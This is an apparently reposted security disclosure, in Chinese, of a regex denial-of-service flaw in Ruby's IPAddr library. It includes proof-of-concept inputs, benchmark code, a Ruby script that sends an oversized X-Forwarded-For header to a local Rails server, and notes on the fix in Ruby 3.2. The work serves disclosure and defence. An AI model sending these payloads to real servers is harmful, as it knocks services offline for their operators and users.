Ruby IPAddr正则表达式拒绝服务漏洞(ReDoS)分析与修复

本文详细分析了Ruby IPAddr库中存在的正则表达式拒绝服务漏洞(ReDoS),包括漏洞原理、PoC验证、对Rails框架的影响,以及Ruby 3.2版本通过正则表达式优化修复该漏洞的技术细节。

Ruby | 报告 #1485717 - IPAddr中的ReDoS漏洞

漏洞概述

在Ruby的IPAddr库中发现了一个正则表达式拒绝服务(ReDoS)漏洞。该漏洞存在于IPAddr.new方法中,具体涉及以下正则表达式模式:

1
/\A(0|[1-9]+\d*)\z/

技术细节

漏洞位置

文件: lib/ipaddr.rb 行号: 525

1
2
3
4
5
6
def mask!(mask)
  case mask
  when String
    case mask
    when /\A(0|[1-9]+\d*)\z/
      prefixlen = mask.to_i

该正则表达式容易受到ReDoS攻击,这是通过recheck工具(https://makenowjust-labs.github.io/recheck/)检测发现的。

调用路径

IPAddr.new方法中调用了存在漏洞的mask!方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
def initialize(addr = '::', family = Socket::AF_UNSPEC)
  # ...
  prefix, prefixlen = addr.split('/', 2)
  # ...
  if prefixlen
    mask!(prefixlen)
  else
    @mask_addr = (@family == Socket::AF_INET) ? IN4MASK : IN6MASK
  end
end

PoC验证

基本PoC

1
2
3
4
5
6
7
8
 ruby -v
ruby 3.1.1p18 (2022-02-18 revision 53f5fc4236) [arm64-darwin20]

 irb
irb(main):001:0> require 'time'
=> true
irb(main):002:0> IPAddr.new("0.0.0.0/" + '1' * 50000 + '.')
# => 发生ReDoS (并抛出ArgumentError)

影响范围

由于coerce_other方法也使用了该功能,因此还会影响其他方法:

1
2
3
4
IPAddr.new("192.168.2.0/24").include?("0.0.0.0/" + '1' * 50000 + '.' )
IPAddr.new("192.168.2.0/24") == "0.0.0.0/" + '1' * 50000 + '.'
IPAddr.new("192.168.2.0/24") | "0.0.0.0/" + '1' * 50000 + '.'
IPAddr.new("192.168.2.0/24") & "0.0.0.0/" + '1' * 50000 + '.'

性能基准测试

测试代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
require 'benchmark'
require 'ipaddr'

def ipaddr_new(length)
  text = "0.0.0.0/" + '1' * length + '.'
  IPAddr.new(text)
rescue IPAddr::InvalidAddressError
  nil
end

Benchmark.bm do |x|
  x.report { ipaddr_new(100) }
  x.report { ipaddr_new(1000) }
  x.report { ipaddr_new(10000) }
  x.report { ipaddr_new(100000) }
end

Ruby 3.1.1测试结果

1
2
3
4
5
6
❯ bundle exec ruby ipaddr_benchmark.rb
       user     system      total        real
   0.000056   0.000003   0.000059 (  0.000055)
   0.002921   0.000003   0.002924 (  0.002968)
   0.300863   0.000694   0.301557 (  0.302580)
  31.050866   0.103006  31.153872 ( 31.255489)

Rails框架影响

受影响组件

由于ActionDispatch::RemoteIp使用了IPAddr,因此可以通过自定义标头进行攻击:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
private
def ips_from(header) # :doc:
  return [] unless header
  # 将逗号分隔的列表拆分为字符串数组
  ips = header.strip.split(/[,\s]+/)
  ips.select do |ip|
    # 只返回通过IPAddr#new方法有效的IP
    range = IPAddr.new(ip).to_range
    # 确保没有人潜入网络掩码
    range.begin == range.end
  rescue ArgumentError
    nil
  end
end

Rails PoC

创建Rails服务器:

1
2
3
❯ rails new rails_server -G -M -O -C -A -J -T
cd rails_server
❯ bundle exec rails s

攻击代码:

1
2
3
4
5
6
7
8
require 'net/http'

url = URI.parse('http://127.0.0.1:3000/')
req = Net::HTTP::Get.new(url.path)
req['X-Forwarded-For'] = "0.0.0.0/" + '1' * 80000 + '.'
res = Net::HTTP.start(url.host, url.port) {|http|
  http.request(req)
}

执行时间:

1
2
❯ time bundle exec ruby ipaddr_request.rb
bundle exec ruby ipaddr_request.rb  0.18s user 0.08s system 0% cpu 40.302 total

影响评估

IPAddr.new接受用户输入时会发生ReDoS。Rails默认使用ActionDispatch::RemoteIp,因此可以通过客户端请求进行攻击。

如果使用nginx等,标头长度限制在约8k字节,因此影响较小。而Puma由于可以使用高达80 * 1024字节,因此容易受到影响。

修复情况

Ruby 3.2.0修复

在Ruby 3.2.0中,ReDoS问题已得到解决:

1
2
3
4
5
6
7
# Ruby 3.2.0
❯ bundle exec ruby ipaddr_benchmark.rb
       user     system      total        real
   0.000033   0.000001   0.000034 (  0.000031)
   0.000056   0.000077   0.000133 (  0.000134)
   0.000385   0.000050   0.000435 (  0.000435)
   0.003579   0.000456   0.004035 (  0.004035)

Ruby 3.3.0确认

在Ruby 3.3.0中确认ReDoS不再发生:

1
2
3
4
5
6
7
# Ruby 3.3.0
❯ ruby ipaddr_benchmark.rb
       user     system      total        real
   0.000044   0.000008   0.000052 (  0.000051)
   0.000073   0.000007   0.000080 (  0.000079)
   0.000565   0.000050   0.000615 (  0.000614)
   0.005460   0.000551   0.006011 (  0.006022)

解决方案

该问题已通过Ruby 3.2的正则表达式优化得到解决,且Ruby 3.1现已EOL(生命周期结束)。无需进一步处理。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计